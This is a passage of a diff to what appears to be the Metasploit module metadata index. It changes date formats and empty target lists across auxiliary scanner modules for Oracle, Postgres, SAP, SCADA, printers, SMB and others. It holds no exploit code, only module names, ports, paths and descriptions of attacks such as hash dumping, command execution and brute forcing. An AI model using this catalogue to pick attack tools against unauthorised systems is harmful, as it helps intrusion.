"auxiliary/scanner/ntp/ntp_reslist_dos", "rank": 300, - "disclosure_date": "2014-08-25 00:00:00 -0500", + "disclosure_date": "2014-08-25", "type": "auxiliary", "author": [ "Jon Hart " @@ -20370,9 +18930,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb", "is_install_path": true, @@ -20382,7 +18940,7 @@ "name": "NTP Mode 6 UNSETTRAP DRDoS Scanner", "full_name": "auxiliary/scanner/ntp/ntp_unsettrap_dos", "rank": 300, - "disclosure_date": "2014-08-25 00:00:00 -0500", + "disclosure_date": "2014-08-25", "type": "auxiliary", "author": [ "Jon Hart " @@ -20398,9 +18956,7 @@ "platform": "", "arch": "", "rport": "123", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb", "is_install_path": true, @@ -20424,9 +18980,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb", "is_install_path": true, @@ -20450,9 +19004,7 @@ "platform": "", "arch": "", "rport": "9390", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-25 09:10:10 +0000", "path": "/modules/auxiliary/scanner/openvas/openvas_omp_login.rb", "is_install_path": true, @@ -20476,9 +19028,7 @@ "platform": "", "arch": "", "rport": "9391", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-25 09:10:10 +0000", "path": "/modules/auxiliary/scanner/openvas/openvas_otp_login.rb", "is_install_path": true, @@ -20502,9 +19052,7 @@ "platform": "", "arch": "", "rport": "1158", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/oracle/emc_sid.rb", "is_install_path": true, @@ -20529,9 +19077,7 @@ "platform": "", "arch": "", "rport": "5560", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/oracle/isqlplus_login.rb", "is_install_path": true, @@ -20556,9 +19102,7 @@ "platform": "", "arch": "", "rport": "5560", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb", "is_install_path": true, @@ -20582,9 +19126,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-14 17:36:18 +0000", "path": "/modules/auxiliary/scanner/oracle/oracle_hashdump.rb", "is_install_path": true, @@ -20611,9 +19153,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/oracle/oracle_login.rb", "is_install_path": true, @@ -20637,9 +19177,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/oracle/sid_brute.rb", "is_install_path": true, @@ -20649,7 +19187,7 @@ "name": "Oracle TNS Listener SID Enumeration", "full_name": "auxiliary/scanner/oracle/sid_enum", "rank": 300, - "disclosure_date": "2009-01-07 00:00:00 -0600", + "disclosure_date": "2009-01-07", "type": "auxiliary", "author": [ "CG ", @@ -20664,9 +19202,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/oracle/sid_enum.rb", "is_install_path": true, @@ -20690,9 +19226,7 @@ "platform": "", "arch": "", "rport": "1158", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/oracle/spy_sid.rb", "is_install_path": true, @@ -20702,7 +19236,7 @@ "name": "Oracle TNS Listener Service Version Query", "full_name": "auxiliary/scanner/oracle/tnslsnr_version", "rank": 300, - "disclosure_date": "2009-01-07 00:00:00 -0600", + "disclosure_date": "2009-01-07", "type": "auxiliary", "author": [ "CG " @@ -20716,9 +19250,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/oracle/tnslsnr_version.rb", "is_install_path": true, @@ -20728,7 +19260,7 @@ "name": "Oracle TNS Listener Checker", "full_name": "auxiliary/scanner/oracle/tnspoison_checker", "rank": 300, - "disclosure_date": "2012-04-18 00:00:00 -0500", + "disclosure_date": "2012-04-18", "type": "auxiliary", "author": [ "ir0njaw (Nikita Kelesis) " @@ -20743,9 +19275,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/oracle/tnspoison_checker.rb", "is_install_path": true, @@ -20769,9 +19299,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/oracle/xdb_sid.rb", "is_install_path": true, @@ -20796,9 +19324,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb", "is_install_path": true, @@ -20822,9 +19348,7 @@ "platform": "", "arch": "", "rport": "5631", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb", "is_install_path": true, @@ -20848,9 +19372,7 @@ "platform": "", "arch": "", "rport": "5631", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb", "is_install_path": true, @@ -20874,9 +19396,7 @@ "platform": "", "arch": "", "rport": "5632", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb", "is_install_path": true, @@ -20901,9 +19421,7 @@ "platform": "", "arch": "", "rport": "110", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-14 11:05:54 +0000", "path": "/modules/auxiliary/scanner/pop3/pop3_login.rb", "is_install_path": true, @@ -20927,9 +19445,7 @@ "platform": "", "arch": "", "rport": "110", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pop3/pop3_version.rb", "is_install_path": true, @@ -20955,9 +19471,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portmap/portmap_amp.rb", "is_install_path": true, @@ -20981,9 +19495,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/ack.rb", "is_install_path": true, @@ -21007,9 +19519,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/ftpbounce.rb", "is_install_path": true, @@ -21033,9 +19543,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/syn.rb", "is_install_path": true, @@ -21060,9 +19568,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/tcp.rb", "is_install_path": true, @@ -21086,9 +19592,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/xmas.rb", "is_install_path": true, @@ -21113,9 +19617,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb", "is_install_path": true, @@ -21139,9 +19641,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_hashdump.rb", "is_install_path": true, @@ -21167,9 +19667,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_login.rb", "is_install_path": true, @@ -21193,9 +19691,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_schemadump.rb", "is_install_path": true, @@ -21219,9 +19715,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_version.rb", "is_install_path": true, @@ -21248,9 +19742,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb", "is_install_path": true, @@ -21278,9 +19770,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_delete_file.rb", "is_install_path": true, @@ -21308,9 +19798,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_download_file.rb", "is_install_path": true, @@ -21338,9 +19826,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_env_vars.rb", "is_install_path": true, @@ -21368,9 +19854,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_list_dir.rb", "is_install_path": true, @@ -21398,9 +19882,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_list_volumes.rb", "is_install_path": true, @@ -21428,9 +19910,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_ready_message.rb", "is_install_path": true, @@ -21458,9 +19938,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_upload_file.rb", "is_install_path": true, @@ -21488,9 +19966,7 @@ "platform": "", "arch": "", "rport": "9100", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_version_info.rb", "is_install_path": true, @@ -21514,9 +19990,7 @@ "platform": "", "arch": "", "rport": "27960", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/quake/server_info.rb", "is_install_path": true, @@ -21545,9 +20019,7 @@ "platform": "", "arch": "", "rport": "3389", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rdp/ms12_020_check.rb", "is_install_path": true, @@ -21571,9 +20043,7 @@ "platform": "", "arch": "", "rport": "3389", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-09 21:32:15 +0000", "path": "/modules/auxiliary/scanner/rdp/rdp_scanner.rb", "is_install_path": true, @@ -21583,7 +20053,7 @@ "name": "Redis File Upload", "full_name": "auxiliary/scanner/redis/file_upload", "rank": 300, - "disclosure_date": "2015-11-11 00:00:00 -0600", + "disclosure_date": "2015-11-11", "type": "auxiliary", "author": [ "Nixawk", @@ -21600,9 +20070,7 @@ "platform": "", "arch": "", "rport": "6379", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/redis/file_upload.rb", "is_install_path": true, @@ -21626,9 +20094,7 @@ "platform": "", "arch": "", "rport": "6379", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/redis/redis_login.rb", "is_install_path": true, @@ -21653,9 +20119,7 @@ "platform": "", "arch": "", "rport": "6379", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/redis/redis_server.rb", "is_install_path": true, @@ -21679,9 +20143,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rogue/rogue_recv.rb", "is_install_path": true, @@ -21705,9 +20167,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rogue/rogue_send.rb", "is_install_path": true, @@ -21732,9 +20192,7 @@ "platform": "", "arch": "", "rport": "512", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rservices/rexec_login.rb", "is_install_path": true, @@ -21759,9 +20217,7 @@ "platform": "", "arch": "", "rport": "513", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rservices/rlogin_login.rb", "is_install_path": true, @@ -21786,9 +20242,7 @@ "platform": "", "arch": "", "rport": "514", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rservices/rsh_login.rb", "is_install_path": true, @@ -21814,9 +20268,7 @@ "platform": "", "arch": "", "rport": "873", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/rsync/modules_list.rb", "is_install_path": true, @@ -21842,9 +20294,7 @@ "platform": "", "arch": "", "rport": "50000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb", "is_install_path": true, @@ -21872,9 +20322,7 @@ "platform": "", "arch": "", "rport": "1128", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb", "is_install_path": true, @@ -21900,9 +20348,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_icf_public_info.rb", "is_install_path": true, @@ -21926,9 +20372,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb", "is_install_path": true, @@ -21952,9 +20396,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb", "is_install_path": true, @@ -21978,9 +20420,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb", "is_install_path": true, @@ -22004,9 +20444,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb", "is_install_path": true, @@ -22030,9 +20468,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb", "is_install_path": true, @@ -22056,9 +20492,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb", "is_install_path": true, @@ -22083,9 +20517,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb", "is_install_path": true, @@ -22110,9 +20542,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb", "is_install_path": true, @@ -22136,9 +20566,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb", "is_install_path": true, @@ -22162,9 +20590,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb", "is_install_path": true, @@ -22188,9 +20614,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb", "is_install_path": true, @@ -22214,9 +20638,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb", "is_install_path": true, @@ -22240,9 +20662,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb", "is_install_path": true, @@ -22269,9 +20689,7 @@ "platform": "", "arch": "", "rport": "3299", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_router_info_request.rb", "is_install_path": true, @@ -22300,9 +20718,7 @@ "platform": "", "arch": "", "rport": "3299", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_router_portscanner.rb", "is_install_path": true, @@ -22326,9 +20742,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_service_discovery.rb", "is_install_path": true, @@ -22354,9 +20768,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_smb_relay.rb", "is_install_path": true, @@ -22381,9 +20793,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb", "is_install_path": true, @@ -22408,9 +20818,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb", "is_install_path": true, @@ -22435,9 +20843,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb", "is_install_path": true, @@ -22462,9 +20868,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb", "is_install_path": true, @@ -22488,9 +20892,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb", "is_install_path": true, @@ -22517,9 +20919,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb", "is_install_path": true, @@ -22544,9 +20944,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb", "is_install_path": true, @@ -22571,9 +20969,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb", "is_install_path": true, @@ -22599,9 +20995,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb", "is_install_path": true, @@ -22626,9 +21020,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb", "is_install_path": true, @@ -22653,9 +21045,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb", "is_install_path": true, @@ -22680,9 +21070,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb", "is_install_path": true, @@ -22709,9 +21097,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb", "is_install_path": true, @@ -22736,9 +21122,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb", "is_install_path": true, @@ -22762,9 +21146,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb", "is_install_path": true, @@ -22789,9 +21171,7 @@ "platform": "", "arch": "", "rport": "2362", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/digi_addp_reboot.rb", "is_install_path": true, @@ -22816,9 +21196,7 @@ "platform": "", "arch": "", "rport": "2362", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/digi_addp_version.rb", "is_install_path": true, @@ -22843,9 +21221,7 @@ "platform": "", "arch": "", "rport": "771", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb", "is_install_path": true, @@ -22870,9 +21246,7 @@ "platform": "", "arch": "", "rport": "771", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/digi_realport_version.rb", "is_install_path": true, @@ -22900,9 +21274,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb", "is_install_path": true, @@ -22912,7 +21284,7 @@ "name": "Koyo DirectLogic PLC Password Brute Force Utility", "full_name": "auxiliary/scanner/scada/koyo_login", "rank": 300, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "auxiliary", "author": [ "K. Reid Wightman ", @@ -22927,9 +21299,7 @@ "platform": "", "arch": "", "rport": "28784", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/koyo_login.rb", "is_install_path": true, @@ -22939,7 +21309,7 @@ "name": "Modbus Unit ID and Station ID Enumerator", "full_name": "auxiliary/scanner/scada/modbus_findunitid", "rank": 300, - "disclosure_date": "2012-10-28 00:00:00 -0500", + "disclosure_date": "2012-10-28", "type": "auxiliary", "author": [ "EsMnemon " @@ -22954,9 +21324,7 @@ "platform": "", "arch": "", "rport": "502", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/scada/modbus_findunitid.rb", "is_install_path": true, @@ -22983,9 +21351,7 @@ "platform": "", "arch": "", "rport": "502", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/modbusclient.rb", "is_install_path": true, @@ -22995,7 +21361,7 @@ "name": "Modbus Version Scanner", "full_name": "auxiliary/scanner/scada/modbusdetect", "rank": 300, - "disclosure_date": "2011-11-01 00:00:00 -0500", + "disclosure_date": "2011-11-01", "type": "auxiliary", "author": [ "EsMnemon " @@ -23010,9 +21376,7 @@ "platform": "", "arch": "", "rport": "502", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/modbusdetect.rb", "is_install_path": true, @@ -23038,9 +21402,7 @@ "platform": "", "arch": "", "rport": "4800", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/moxa_discover.rb", "is_install_path": true, @@ -23065,9 +21427,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/scada/profinet_siemens.rb", "is_install_path": true, @@ -23085,6 +21445,7 @@ ], "description": "This module exploits a directory traversal in Sielco Sistemi Winlog. The vulnerability\n exists in the Runtime.exe service and can be triggered by sending a specially crafted packet\n to the 46824/TCP port. This module has been successfully tested on Sielco Sistemi Winlog Lite\n 2.07.14.", "references": [ + "CVE-2012-4356", "OSVDB-83275", "BID-54212", "EDB-19409", @@ -23095,9 +21456,7 @@ "platform": "", "arch": "", "rport": "46824", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb", "is_install_path": true, @@ -23121,9 +21480,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/enumerator.rb", "is_install_path": true, @@ -23147,9 +21504,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/enumerator_tcp.rb", "is_install_path": true, @@ -23173,9 +21528,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/options.rb", "is_install_path": true, @@ -23199,9 +21552,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/options_tcp.rb", "is_install_path": true, @@ -23226,9 +21577,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb", "is_install_path": true, @@ -23238,7 +21587,7 @@ "name": "DCOM Exec", "full_name": "auxiliary/scanner/smb/impacket/dcomexec", "rank": 300, - "disclosure_date": "2018-03-19 00:00:00 -0500", + "disclosure_date": "2018-03-19", "type": "auxiliary", "author": [ "beto", @@ -23257,9 +21606,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-04 17:34:41 +0000", "path": "/modules/auxiliary/scanner/smb/impacket/dcomexec.py", "is_install_path": true, @@ -23296,9 +21643,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-27 17:12:06 +0000", "path": "/modules/auxiliary/scanner/smb/impacket/secretsdump.py", "is_install_path": true, @@ -23308,7 +21653,7 @@ "name": "WMI Exec", "full_name": "auxiliary/scanner/smb/impacket/wmiexec", "rank": 300, - "disclosure_date": "2018-03-19 00:00:00 +0000", + "disclosure_date": 